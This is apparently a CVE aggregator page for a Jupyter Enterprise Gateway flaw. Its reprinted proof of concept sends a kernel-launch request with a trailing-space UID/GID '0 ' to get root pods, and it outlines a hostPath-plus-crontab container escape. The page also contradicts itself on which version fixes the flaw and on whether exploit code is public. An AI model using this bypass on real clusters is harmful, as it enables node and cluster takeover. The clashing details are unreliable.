CVE-2026-44180
Jupyter Enterprise Gateway: ContainerProcessProxy._enforce_prohibited_ids can be Bypassed
Jupyter Enterprise Gateway launches remote Jupyter Notebook kernels across distributed clusters like Apache Spark, Kubernetes, and Docker Swarm. Versions 2.0.0rc1 and above prior to 3.3.0 have a prohibited UID and GID feature that by default prevents launching kernels with UID or GID 0 (root), and this restriction can be bypassed using a specially crafted KERNEL_UID or KERNEL_GID value. This input validation vulnerability allows running Jupyter kernels as root, which can be dangerous as it allows more attack surface, and may lead to container escapes, compromising the worker node and all workloads running on it. Repeated exploitation can compromise all worker nodes, and thus the entire Kubernetes cluster. It is possible to specify volume mounts, so one vector for a container escape is to use a hostPath R/W volume mount, use this UID/GID bypass to run as root, and then gain code execution in the underlying worker node by creating a crontab entry in the mounted host file system. This issue has been fixed in version 3.0.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
9.8
Jupyter Enterprise Gateway: ContainerProcessProxy._enforce_prohibited_ids can be Bypassed
Jupyter Enterprise Gateway launches remote Jupyter Notebook kernels across distributed clusters like Apache Spark, Kubernetes, and Docker Swarm. Versions 2.0.0rc1 and above prior to 3.3.0 have a prohibited UID and GID feature that by default prevents launching kernels with UID or GID 0 (root), and this restriction can be bypassed using a specially crafted KERNEL_UID or KERNEL_GID value. This input validation vulnerability allows running Jupyter kernels as root, which can be dangerous as it allows more attack surface, and may lead to container escapes, compromising the worker node and all workloads running on it. Repeated exploitation can compromise all worker nodes, and thus the entire Kubernetes cluster. It is possible to specify volume mounts, so one vector for a container escape is to use a hostPath R/W volume mount, use this UID/GID bypass to run as root, and then gain code execution in the underlying worker node by creating a crontab entry in the mounted host file system. This issue has been fixed in version 3.0.0.
- Record
CVE-2026-44180- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-20
- Updated
- 2026-11-02
EUVDEUVD-2026-45062
9.8
Jupyter Enterprise Gateway launches remote Jupyter Notebook kernels across distributed clusters like Apache Spark, Kubernetes, and Docker Swarm. Versions 2.0.0rc1 and above prior to 3.3.0 have a prohibited UID and GID feature that by default prevents launching kernels with UID or GID 0 (root), and this restriction can be bypassed using a specially crafted KERNEL_UID or KERNEL_GID value. This input validation vulnerability allows running Jupyter kernels as root, which can be dangerous as it allows more attack surface, and may lead to container escapes, compromising the worker node and all workloads running on it. Repeated exploitation can compromise all worker nodes, and thus the entire Kubernetes cluster. It is possible to specify volume mounts, so one vector for a container escape is to use a hostPath R/W volume mount, use this UID/GID bypass to run as root, and then gain code execution in the underlying worker node by creating a crontab entry in the mounted host file system. This issue has been fixed in version 3.0.0.
- Record
EUVD-2026-45062- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-chq7-94j8-cj28
9.8
Jupyter Enterprise Gateway: ContainerProcessProxy._enforce_prohibited_ids Bypass
Summary
Jupyter Enterprise Gateway has a prohibited UID and GID feature that by default prevents launching kernels with UID or GID 0 (root).
This can be bypassed. It is possible to launch kernels with a prohibited UID and/or GID by using a specially crafted KERNEL_UID or KERNEL_GID value.
The feature is described in the documentation:
Details
The prohibited_uids and prohibited_uids are set based of the OS env var EG_PROHIBITED_UIDS and EG_PROHIBITED_GIDS, and default to the string 0.
The checks https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/container.py#L113 and https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/container.py#L119 look for the user supplied KERNEL_UID / KERNEL_GID string in the prohibited_uids / prohibited_gids strings. These checks can be bypassed by including whitespace, for example the string 0 (trailing space).
The user supplied string is used in the Kubernetes manifest at https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L35 and https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L38 where they are parsed as an integer in the Jinja2 template - which will ignore the whitespace.
PoC
How it is meant to work
Trying 0 gets denied, as expected.
xh http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels name=python_kubernetes env:='{"KERNEL_POD_NAME":"bdawg", "KERNEL_UID": "0", "KERNEL_GID": "0"}'
HTTP/1.1 403 Kernel's UID value of '0' has been denied via EG_PROHIBITED_UIDS!
Content-Length: 94
Content-Type: application/json
Date: Mon, 14 Jul 2025 12:57:09 GMT
Server: TornadoServer/6.4.1
X-Content-Type-Options: nosniff
{
"reason": "Kernel's UID value of '0' has been denied via EG_PROHIBITED_UIDS!",
"message": ""
}
Exploit bypassing the checks
Using 0 with a trailing space, bypasses the check.
xh http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels name=python_kubernetes env:='{"KERNEL_POD_NAME":"bdawg", "KERNEL_UID": "0 ", "KERNEL_GID": "0 "}'
HTTP/1.1 201 Created
Content-Length: 172
Content-Type: application/json
Date: Mon, 14 Jul 2025 14:15:19 GMT
Location: /api/kernels/17eee032-994f-4dd2-8ade-87169c300a40
Server: TornadoServer/6.4.1
X-Content-Type-Options: nosniff
{
"id": "17eee032-994f-4dd2-8ade-87169c300a40",
"name": "python_kubernetes",
"last_activity": "2025-07-14T14:15:21.468155Z",
"execution_state": "starting",
"connections": 0
}
The pod is successfully scheduled.
Inspecting the container we can see it is running as root:
kubectl exec -it pod/bdawg -- bash
(base) root@bdawg3:~# id
uid=0(root) gid=0(root) groups=0(root),100(users)
If we had not supplied the KERNEL_UID / KERNEL_GID the container would have been running as UID:GID 1000:100 (jovyan:users).
Impact
This input validation vulnerability allows running Jupyter kernels as root, which can be dangerous as it allows…
- Record
GHSA-chq7-94j8-cj28- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-20, CWE-180
- Updated
- 2026-11-02
NVD
9.8
Jupyter Enterprise Gateway launches remote Jupyter Notebook kernels across distributed clusters like Apache Spark, Kubernetes, and Docker Swarm. Versions 2.0.0rc1 and above prior to 3.3.0 have a prohibited UID and GID feature that by default prevents launching kernels with UID or GID 0 (root), and this restriction can be bypassed using a specially crafted KERNEL_UID or KERNEL_GID value. This input validation vulnerability allows running Jupyter kernels as root, which can be dangerous as it allows more attack surface, and may lead to container escapes, compromising the worker node and all workloads running on it. Repeated exploitation can compromise all worker nodes, and thus the entire Kubernetes cluster. It is possible to specify volume mounts, so one vector for a container escape is to use a hostPath R/W volume mount, use this UID/GID bypass to run as root, and then gain code execution in the underlying worker node by creating a crontab entry in the mounted host file system. This issue has been fixed in version 3.0.0.
- Record
CVE-2026-44180- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-20
- Updated
- 2026-11-02
OSV
9.8
Jupyter Enterprise Gateway: ContainerProcessProxy._enforce_prohibited_ids can be Bypassed
Jupyter Enterprise Gateway launches remote Jupyter Notebook kernels across distributed clusters like Apache Spark, Kubernetes, and Docker Swarm. Versions 2.0.0rc1 and above prior to 3.3.0 have a prohibited UID and GID feature that by default prevents launching kernels with UID or GID 0 (root), and this restriction can be bypassed using a specially crafted KERNEL_UID or KERNEL_GID value. This input validation vulnerability allows running Jupyter kernels as root, which can be dangerous as it allows more attack surface, and may lead to container escapes, compromising the worker node and all workloads running on it. Repeated exploitation can compromise all worker nodes, and thus the entire Kubernetes cluster. It is possible to specify volume mounts, so one vector for a container escape is to use a hostPath R/W volume mount, use this UID/GID bypass to run as root, and then gain code execution in the underlying worker node by creating a crontab entry in the mounted host file system. This issue has been fixed in version 3.0.0.
- Record
CVE-2026-44180- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-20
- Updated
- 2026-11-02
OSVGHSA-chq7-94j8-cj28
9.8
Jupyter Enterprise Gateway: ContainerProcessProxy._enforce_prohibited_ids Bypass
Summary
Jupyter Enterprise Gateway has a prohibited UID and GID feature that by default prevents launching kernels with UID or GID 0 (root).
This can be bypassed. It is possible to launch kernels with a prohibited UID and/or GID by using a specially crafted KERNEL_UID or KERNEL_GID value.
The feature is described in the documentation:
Details
The prohibited_uids and prohibited_uids are set based of the OS env var EG_PROHIBITED_UIDS and EG_PROHIBITED_GIDS, and default to the string 0.
The checks https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/container.py#L113 and https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/container.py#L119 look for the user supplied KERNEL_UID / KERNEL_GID string in the prohibited_uids / prohibited_gids strings. These checks can be bypassed by including whitespace, for example the string 0 (trailing space).
The user supplied string is used in the Kubernetes manifest at https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L35 and https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L38 where they are parsed as an integer in the Jinja2 template - which will ignore the whitespace.
PoC
How it is meant to work
Trying 0 gets denied, as expected.
xh http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels name=python_kubernetes env:='{"KERNEL_POD_NAME":"bdawg", "KERNEL_UID": "0", "KERNEL_GID": "0"}'
HTTP/1.1 403 Kernel's UID value of '0' has been denied via EG_PROHIBITED_UIDS!
Content-Length: 94
Content-Type: application/json
Date: Mon, 14 Jul 2025 12:57:09 GMT
Server: TornadoServer/6.4.1
X-Content-Type-Options: nosniff
{
"reason": "Kernel's UID value of '0' has been denied via EG_PROHIBITED_UIDS!",
"message": ""
}
Exploit bypassing the checks
Using 0 with a trailing space, bypasses the check.
xh http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels name=python_kubernetes env:='{"KERNEL_POD_NAME":"bdawg", "KERNEL_UID": "0 ", "KERNEL_GID": "0 "}'
HTTP/1.1 201 Created
Content-Length: 172
Content-Type: application/json
Date: Mon, 14 Jul 2025 14:15:19 GMT
Location: /api/kernels/17eee032-994f-4dd2-8ade-87169c300a40
Server: TornadoServer/6.4.1
X-Content-Type-Options: nosniff
{
"id": "17eee032-994f-4dd2-8ade-87169c300a40",
"name": "python_kubernetes",
"last_activity": "2025-07-14T14:15:21.468155Z",
"execution_state": "starting",
"connections": 0
}
The pod is successfully scheduled.
Inspecting the container we can see it is running as root:
kubectl exec -it pod/bdawg -- bash
(base) root@bdawg3:~# id
uid=0(root) gid=0(root) groups=0(root),100(users)
If we had not supplied the KERNEL_UID / KERNEL_GID the container would have been running as UID:GID 1000:100 (jovyan:users).
Impact
This input validation vulnerability allows running Jupyter kernels as root, which can be dangerous as it allows…
- Record
GHSA-chq7-94j8-cj28- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-180, CWE-20
- Updated
- 2026-11-02
OSVPYSEC-2026-363
9.8
Jupyter Enterprise Gateway: ContainerProcessProxy._enforce_prohibited_ids Bypass
Summary
Jupyter Enterprise Gateway has a prohibited UID and GID feature that by default prevents launching kernels with UID or GID 0 (root).
This can be bypassed. It is possible to launch kernels with a prohibited UID and/or GID by using a specially crafted KERNEL_UID or KERNEL_GID value.
The feature is described in the documentation:
Details
The prohibited_uids and prohibited_uids are set based of the OS env var EG_PROHIBITED_UIDS and EG_PROHIBITED_GIDS, and default to the string 0.
The checks https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/container.py#L113 and https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/container.py#L119 look for the user supplied KERNEL_UID / KERNEL_GID string in the prohibited_uids / prohibited_gids strings. These checks can be bypassed by including whitespace, for example the string 0 (trailing space).
The user supplied string is used in the Kubernetes manifest at https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L35 and https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L38 where they are parsed as an integer in the Jinja2 template - which will ignore the whitespace.
PoC
How it is meant to work
Trying 0 gets denied, as expected.
xh http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels name=python_kubernetes env:='{"KERNEL_POD_NAME":"bdawg", "KERNEL_UID": "0", "KERNEL_GID": "0"}'
HTTP/1.1 403 Kernel's UID value of '0' has been denied via EG_PROHIBITED_UIDS!
Content-Length: 94
Content-Type: application/json
Date: Mon, 14 Jul 2025 12:57:09 GMT
Server: TornadoServer/6.4.1
X-Content-Type-Options: nosniff
{
"reason": "Kernel's UID value of '0' has been denied via EG_PROHIBITED_UIDS!",
"message": ""
}
Exploit bypassing the checks
Using 0 with a trailing space, bypasses the check.
xh http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels name=python_kubernetes env:='{"KERNEL_POD_NAME":"bdawg", "KERNEL_UID": "0 ", "KERNEL_GID": "0 "}'
HTTP/1.1 201 Created
Content-Length: 172
Content-Type: application/json
Date: Mon, 14 Jul 2025 14:15:19 GMT
Location: /api/kernels/17eee032-994f-4dd2-8ade-87169c300a40
Server: TornadoServer/6.4.1
X-Content-Type-Options: nosniff
{
"id": "17eee032-994f-4dd2-8ade-87169c300a40",
"name": "python_kubernetes",
"last_activity": "2025-07-14T14:15:21.468155Z",
"execution_state": "starting",
"connections": 0
}
The pod is successfully scheduled.
Inspecting the container we can see it is running as root:
kubectl exec -it pod/bdawg -- bash
(base) root@bdawg3:~# id
uid=0(root) gid=0(root) groups=0(root),100(users)
If we had not supplied the KERNEL_UID / KERNEL_GID the container would have been running as UID:GID 1000:100 (jovyan:users).
Impact
This input validation vulnerability allows running Jupyter kernels as root, which can be dangerous as…
- Record
PYSEC-2026-363- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
jupyter-enterprise-gatewayPyPI |
2.0.0rc1 up to 3.3.0 | 3.3.0 |
jupyter-enterprise-gatewayPyPI |
2.0.0rc1 up to 3.3.0, plus listed versions 2.0.02.0.0rc22.1.02.1.12.2.0 Show 17 moreShow less2.2.0rc12.2.0rc22.3.02.4.02.5.02.5.12.5.22.6.03.0.03.0.0b03.0.0rc03.0.0rc13.1.03.2.03.2.13.2.23.2.3 |
3.3.0 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-44180 is a critical vulnerability (CVSS 9.8) in Jupyter Enterprise Gateway, published June 3, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.71%, the 53rd percentile. Fixed in jupyter-enterprise-gateway 3.3.0.
References
github.com/jupyter-server/enterprise_gateway/security/advisories/GHSA-chq7-94j8-cj28
github.com/jupyter-server/enterprise_gateway/releases/tag/v3.3.0
github.com/advisories/GHSA-chq7-94j8-cj28
github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44180.json
nvd.nist.gov/vuln/detail/CVE-2026-44180
github.com/jupyter-server/enterprise_gateway
pypi.org/project/jupyter-enterprise-gateway
Left out here: the rest of 3 source descriptions. The JSON record has them.